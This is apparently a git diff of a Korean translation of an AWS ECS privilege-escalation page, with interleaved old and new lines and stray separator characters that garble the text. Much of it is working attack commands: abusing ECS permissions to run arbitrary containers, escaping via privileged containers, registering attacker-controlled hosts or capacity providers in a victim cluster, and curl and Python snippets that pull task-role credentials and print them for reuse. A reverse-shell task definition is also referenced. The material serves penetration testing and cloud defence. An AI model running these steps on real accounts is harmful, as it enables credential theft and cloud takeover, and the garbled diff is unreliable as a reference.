**Potential Impact:** 어떤 ECS role에 대한 직접적인 privesc.
|
||||
**Potential Impact:** 임의의 ECS 역할에 대한 직접적인 privesc 권한 획득.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
실제로 이러한 권한만으로 overrides를 사용해 임의의 role을 가진 container에서 임의의 명령을 실행할 수 있습니다. 예를 들면:
|
||||
사실, 해당 권한만으로 overrides를 사용하여 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행할 수 있습니다. 다음과 같이:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Potential Impact:** 모든 ECS 역할에 대한 직접적인 privesc.
|
||||
**잠재적 영향:** 모든 ECS 역할에 대한 직접 privesc.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
이 시나리오는 이전 경우들과 유사하지만 **`iam:PassRole`** 권한이 **없습니다**.\
|
||||
역할이 없는 컨테이너라도 임의로 실행할 수 있다면, 노드로 탈출하기 위해 **privileged 컨테이너를 실행**하여 **EC2 IAM role을 탈취**하고 노드에서 실행 중인 **다른 ECS 컨테이너들의 역할**을 훔칠 수 있습니다.\
|
||||
심지어 타깃으로 삼은 EC2 인스턴스 내부에서 다른 태스크들이 실행되도록 **강제로 실행시켜 해당 자격 증명을 훔칠 수도 있습니다** (자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 참조).
|
||||
이 시나리오는 이전 사례들과 유사하지만 **`iam:PassRole`** 권한이 없습니다.\
|
||||
이것은 여전히 흥미로운데, 임의의 컨테이너를 실행할 수 있다면(역할이 없어도) **run a privileged container to escape** 하여 노드로 접근하고 노드에서 실행 중인 **steal the EC2 IAM role** 및 **other ECS containers roles**를 탈취할 수 있기 때문입니다.\
|
||||
심지어 타깃으로 삼은 EC2 인스턴스 내에서 다른 태스크를 실행하도록 **force other tasks to run inside the EC2 instance** 하여 그들의 자격증명을 탈취할 수도 있습니다 (자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 참조).
|
||||
|
||||
> [!WARNING]
|
||||
> 이 공격은 **ECS cluster가 EC2를 사용하고 있는** 경우에만 가능하며 Fargate에서는 불가능합니다.
|
||||
> 이 공격은 **ECS cluster is using EC2** 인스턴스를 사용하고 있고 Fargate가 아닌 경우에만 가능합니다.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 권한을 가진 공격자는 실행 중인 컨테이너 내부에서 **execute commands**를 수행하고 해당 컨테이너에 연결된 IAM role을 exfiltrate할 수 있다 (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
|
||||
그러나 이를 위해서는 컨테이너 인스턴스가 기본적으로 동작하고 있지 않은 **ExecuteCommand agent**를 실행 중이어야 한다.
|
||||
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 권한을 가진 공격자는 실행 중인 컨테이너 내부에서 명령을 실행하고 그에 연결된 IAM role을 유출할 수 있습니다(Describe 권한이 필요한 이유는 `aws ecs execute-command`를 실행하려면 필요하기 때문입니다).\
|
||||
하지만 이를 위해서는 컨테이너 인스턴스가 기본적으로 활성화되어 있지 않은 **ExecuteCommand agent**를 실행 중이어야 합니다.
|
||||
|
||||
따라서 공격자는 다음을 시도할 수 있다:
|
||||
따라서 공격자는 다음을 시도할 수 있습니다:
|
||||
|
||||
- **Try to run a command** in every running container
|
||||
- **모든 실행 중인 컨테이너에서 명령 실행을 시도**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -256,18 +256,34 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- 사용자가 **`ecs:RunTask`** 권한이 있으면, `aws ecs run-task --enable-execute-command [...]`로 태스크를 실행하세요.
|
||||
- 사용자가 **`ecs:StartTask`** 권한이 있으면, `aws ecs start-task --enable-execute-command [...]`로 태스크를 실행하세요.
|
||||
- 사용자가 **`ecs:CreateService`** 권한이 있으면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하세요.
|
||||
- 사용자가 **`ecs:UpdateService`** 권한이 있으면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하세요.
|
||||
컨테이너 내부에 shell을 얻으면, 일반적으로 task credentials endpoint에서 **extract the task role credentials** 하고 이를 컨테이너 외부에서 재사용할 수 있습니다:
|
||||
```sh
|
||||
# Inside the container:
|
||||
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
|
||||
|
||||
You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
# If you want to use them locally, print shell exports:
|
||||
python3 - <<'PY'
|
||||
import json, os, urllib.request
|
||||
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
|
||||
d = json.load(urllib.request.urlopen(u, timeout=2))
|
||||
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
|
||||
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
|
||||
print("export AWS_SESSION_TOKEN=" + d["Token"])
|
||||
PY
|
||||
```
|
||||
- 권한에 **`ecs:RunTask`**가 있으면, `aws ecs run-task --enable-execute-command [...]`로 task를 실행하세요.
|
||||
- 권한에 **`ecs:StartTask`**가 있으면, `aws ecs start-task --enable-execute-command [...]`로 task를 실행하세요.
|
||||
- 권한에 **`ecs:CreateService`**가 있으면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하세요.
|
||||
- 권한에 **`ecs:UpdateService`**가 있으면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하세요.
|
||||
|
||||
**Potential Impact:** 컨테이너에 연결된 다른 역할로의 privesc.
|
||||
해당 옵션들의 **예제**는 **previous ECS privesc sections**에서 확인할 수 있습니다.
|
||||
|
||||
**잠재적 영향:** 컨테이너에 연결된 다른 역할로 privesc.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
**ssm privesc page**에서 이 권한을 어떻게 악용해 **privesc to ECS** 할 수 있는지 확인하세요:
|
||||
이 권한을 악용하여 **privesc to ECS** 하는 방법은 **ssm privesc page**를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -275,7 +291,7 @@ You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
**ec2 privesc page**에서 이 권한들을 어떻게 악용해 **privesc to ECS** 할 수 있는지 확인하세요:
|
||||
이 권한들을 악용하여 **privesc to ECS** 하는 방법은 **ec2 privesc page**를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -283,16 +299,51 @@ You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 그 위에서 태스크를 실행할 수 있습니다. 이를 통해 공격자는 ECS 태스크 컨텍스트 내에서 임의의 코드를 실행할 수 있습니다.
|
||||
이 권한을 가진 공격자는 종종 **"cluster membership"을 보안 경계 우회로 바꿀 수 있습니다**:
|
||||
|
||||
- 피해자 ECS cluster에 공격자가 제어하는 **EC2 instance**를 등록(컨테이너 인스턴스가 됨)
|
||||
- **placement constraints**를 만족시키기 위해 커스텀 **container instance attributes** 설정
|
||||
- ECS가 해당 호스트에 task를 스케줄하도록 허용
|
||||
- 호스트에서 실행 중인 task에서 **task role credentials**(및 컨테이너 내부의 모든 비밀/데이터) 탈취
|
||||
|
||||
상위 수준 워크플로우:
|
||||
|
||||
1) 대상 계정에서 제어하는 EC2 인스턴스(예: SSM/SSH를 통해)에서 EC2 instance identity document + signature를 획득:
|
||||
```bash
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
|
||||
```
|
||||
2) 대상 클러스터에 등록하고, 선택적으로 배치 제약 조건을 만족시키기 위해 속성을 설정합니다:
|
||||
```bash
|
||||
aws ecs register-container-instance \
|
||||
--cluster "$CLUSTER" \
|
||||
--instance-identity-document file://iidoc.json \
|
||||
--instance-identity-document-signature "$(cat iisig)" \
|
||||
--attributes name=labtarget,value=hijack
|
||||
```
|
||||
3) 연결되었는지 확인:
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster "$CLUSTER"
|
||||
```
|
||||
4) task를 시작하거나 service를 업데이트하여 어떤 것이 instance에 스케줄되도록 한 다음, task 내부에서 task role creds를 수집합니다:
|
||||
```bash
|
||||
# On the container host:
|
||||
docker ps
|
||||
docker exec -it <container-id> sh
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
```
|
||||
Notes:
|
||||
|
||||
- Registering a container instance using the instance identity document/signature implies you have access to an EC2 instance in the target account (or have compromised one). For cross-account "bring your own EC2", see the **ECS Anywhere** technique in this page.
|
||||
- Placement constraints commonly rely on container instance attributes. Enumerate them via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, and `ecs:DescribeContainerInstances` to know which attributes you need to set.
|
||||
|
||||
- TODO: 다른 AWS 계정의 인스턴스를 등록해서 태스크가 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가요??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 테스트 필요
|
||||
|
||||
An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.
|
||||
권한 `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`를 가진 공격자는 **기존 ECS 서비스에 대한 악의적인 task set을 생성하고 기본 task set을 업데이트할 수 있습니다**. 이를 통해 공격자는 **서비스 내에서 임의의 코드를 실행할 수 있습니다**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,63 +369,41 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potential Impact**: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스 기능에 영향을 주거나 민감한 데이터를 유출할 수 있음.
|
||||
**잠재적 영향**: 영향을 받은 서비스에서 임의의 코드를 실행할 수 있으며, 서비스의 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다.
|
||||
|
||||
## References
|
||||
## 참조
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 악성 Capacity Provider를 통한 ECS 스케줄링 탈취 (EC2 ASG takeover)
|
||||
|
||||
ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 감싼 뒤 대상 클러스터에 연결하고 피해자 서비스를 이 provider로 마이그레이션할 수 있습니다. 그러면 Tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄링되어 OS 수준에서 컨테이너를 조사하고 task role 자격 증명을 탈취할 수 있게 됩니다.
|
||||
권한을 가진 공격자는 ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한을 이용해 자신이 제어하는 EC2 Auto Scaling Group을 생성하고, 이를 ECS Capacity Provider로 래핑한 후 대상 클러스터에 연결하고 피해자 서비스를 이 provider로 마이그레이션할 수 있습니다. 그러면 Tasks가 공격자가 제어하는 EC2 인스턴스에 스케줄되어 OS 수준에서 컨테이너를 조사하고 task role 자격증명을 탈취할 수 있습니다.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- 사전 요구사항
|
||||
|
||||
|
||||
|
||||
- ECS agent가 대상 클러스터에 join하도록 하는 Launch Template 생성
|
||||
|
||||
|
||||
- Launch Template 생성하여 ECS agent가 대상 클러스터에 가입하도록 구성
|
||||
|
||||
- Auto Scaling Group 생성
|
||||
|
||||
|
||||
|
||||
- ASG로 Capacity Provider 생성
|
||||
|
||||
- Capacity Provider를 클러스터에 연결 (옵션: 기본으로 설정)
|
||||
|
||||
- 서비스를 공격자 provider로 마이그레이션
|
||||
|
||||
- Capacity Provider를 클러스터에 연결(선택적으로 기본으로 설정)
|
||||
- Tasks가 공격자 인스턴스에 할당되는지 확인
|
||||
|
||||
- 선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접근하고 http://169.254.170.2 를 읽어 task role 자격증명을 획득
|
||||
|
||||
- 정리(cleanup)
|
||||
|
||||
- 서비스를 당신의 provider로 마이그레이션
|
||||
|
||||
|
||||
|
||||
- Tasks가 공격자 인스턴스에 배치되는지 확인
|
||||
|
||||
|
||||
|
||||
- 선택 사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 뒤 http://169.254.170.2 를 읽어 task role 자격 증명을 확보.
|
||||
|
||||
- 정리(클린업)
|
||||
|
||||
|
||||
|
||||
**Potential Impact:** 공격자가 제어하는 EC2 노드에 피해자 Tasks가 배치되어 OS 레벨에서 컨테이너 접근 및 task IAM role 자격 증명 탈취가 가능함.
|
||||
**잠재적 영향:** 공격자가 제어하는 EC2 노드에 피해자 Tasks가 배치되어 OS 수준에서 컨테이너에 접근하고 task IAM role 자격증명을 탈취할 수 있습니다.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Step-by-step commands (copy/paste)</summary>
|
||||
<summary>단계별 명령어 (복사/붙여넣기)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -407,25 +436,25 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
</pre>
|
||||
</details>
|
||||
|
||||
### ECS Anywhere EXTERNAL 등록을 통한 클러스터 내 백도어 컴퓨트
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
ECS Anywhere를 악용해 공격자가 제어하는 호스트를 피해자 ECS 클러스터의 EXTERNAL container instance로 등록하고 권한이 높은 task 및 execution role을 사용해 해당 호스트에서 Tasks를 실행할 수 있습니다. 이는 Tasks가 실행되는 위치(OS 수준)를 공격자가 제어하게 하며, capacity providers나 ASGs를 건드리지 않고도 Tasks와 연결된 볼륨에서 자격 증명/데이터를 탈취할 수 있게 합니다.
|
||||
ECS Anywhere를 악용해 공격자가 제어하는 호스트를 피해자 ECS 클러스터에 EXTERNAL container instance로 등록하고, 해당 호스트에서 privileged task 및 execution role을 사용해 Tasks를 실행할 수 있습니다. 이는 capacity providers나 ASGs를 건드리지 않고도 Tasks가 실행되는 위치(OS 수준)를 공격자가 제어할 수 있게 하며, Tasks와 연결된 볼륨에서 자격증명/데이터를 탈취할 수 있습니다.
|
||||
|
||||
- 필요 권한(예시 최소):
|
||||
- ecs:CreateCluster (선택적), ecs:RegisterTaskDefinition, ecs:StartTask 또는 ecs:RunTask
|
||||
- 필요한 권한 (예시 최소):
|
||||
- ecs:CreateCluster (선택), ecs:RegisterTaskDefinition, ecs:StartTask 또는 ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere 인스턴스 역할 및 task/execution 역할용)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (awslogs 사용 시)
|
||||
|
||||
- 영향: 공격자 호스트에서 선택한 taskRoleArn으로 임의의 컨테이너 실행; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI에서 task-role 자격 증명 유출; Tasks가 마운트한 볼륨에 접근 가능; capacity providers/ASGs 조작보다 은밀함.
|
||||
- 영향: 공격자 호스트에서 선택한 taskRoleArn으로 임의의 컨테이너 실행; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI로부터 task-role 자격증명 유출; Tasks가 마운트한 모든 볼륨 접근; capacity providers/ASGs 조작보다 은밀함.
|
||||
|
||||
Steps
|
||||
|
||||
1) 클러스터 생성/확인 (us-east-1)
|
||||
1) Create/identify cluster (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) ECS Anywhere 역할 생성 및 SSM 활성화 (on-prem/EXTERNAL 인스턴스용)
|
||||
2) ECS Anywhere 역할 및 SSM activation 생성 (on-prem/EXTERNAL 인스턴스용)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -434,7 +463,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) 공격자 호스트를 프로비저닝하고 EXTERNAL로 자동 등록(예: 작은 AL2 EC2를 “on‑prem”로)
|
||||
3) 공격자 호스트를 프로비저닝하고 자동으로 EXTERNAL로 등록합니다 (예: 작은 AL2 EC2를 “on‑prem”으로)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -455,14 +484,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) EXTERNAL container instance가 조인되었는지 확인
|
||||
4) EXTERNAL 컨테이너 인스턴스가 조인되었는지 확인
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) task/execution roles를 생성하고, EXTERNAL task definition을 등록한 다음 attacker host에서 실행합니다.
|
||||
5) task/execution roles를 생성하고, EXTERNAL task definition을 등록한 다음 attacker host에서 실행합니다
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -498,7 +527,7 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) 이 시점부터 tasks를 실행하는 호스트를 제어할 수 있습니다. task 로그(awslogs인 경우)를 읽거나 호스트에서 직접 exec하여 자격증명/데이터를 exfiltrate할 수 있습니다.
|
||||
6) 여기서 당신은 tasks를 실행하는 호스트를 제어합니다. awslogs인 경우 task 로그를 읽거나 호스트에서 직접 exec하여 tasks의 credentials/data를 exfiltrate할 수 있습니다.
|
||||
|
||||
|
||||
|
||||
@@ -507,9 +536,9 @@ aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
### 악성 Capacity Provider를 통한 ECS 스케줄링 탈취 (EC2 ASG takeover)
|
||||
|
||||
ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 감싼 다음 대상 클러스터에 연결하여 피해자 서비스를 해당 provider로 마이그레이션할 수 있습니다. 그러면 tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄되어 OS-level에서 컨테이너를 검사하고 task role credentials를 탈취할 수 있습니다.
|
||||
ECS capacity providers를 관리하고 services를 업데이트할 수 있는 권한을 가진 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고, 이를 ECS Capacity Provider로 감싸 대상 cluster에 연결한 뒤 피해자 service를 이 provider로 마이그레이션할 수 있습니다. 그러면 Tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄되어 컨테이너를 OS 수준에서 검사하고 task role credentials를 탈취할 수 있습니다.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
@@ -517,7 +546,7 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- ECS agent가 target cluster에 조인하도록 Launch Template 생성
|
||||
- ECS agent가 target cluster에 참여하도록 Launch Template 생성
|
||||
|
||||
|
||||
|
||||
@@ -529,7 +558,7 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Capacity Provider를 클러스터에 연결(선택적으로 기본으로 설정)
|
||||
- Capacity Provider를 cluster에 연결 (선택적으로 기본으로 설정)
|
||||
|
||||
|
||||
|
||||
@@ -537,15 +566,15 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- tasks가 공격자 인스턴스에 배치되는지 확인
|
||||
- Tasks가 공격자 인스턴스에 배치되었는지 확인
|
||||
|
||||
|
||||
|
||||
- 선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 후 http://169.254.170.2 를 읽어 task role credentials를 얻으세요.
|
||||
- 선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접근하고 http://169.254.170.2를 읽어 task role credentials를 획득하세요.
|
||||
|
||||
- 정리
|
||||
|
||||
|
||||
|
||||
**잠재적 영향:** 공격자가 제어하는 EC2 노드가 피해자 tasks를 수신하게 되어 컨테이너에 대한 OS-level 접근이 가능해지고 task IAM role credentials가 탈취될 수 있습니다.
|
||||
**잠재적 영향:** 공격자가 제어하는 EC2 노드에 피해자 Tasks가 할당되어 컨테이너에 대한 OS 수준의 접근이 가능해지고 task IAM role credentials를 탈취할 수 있습니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user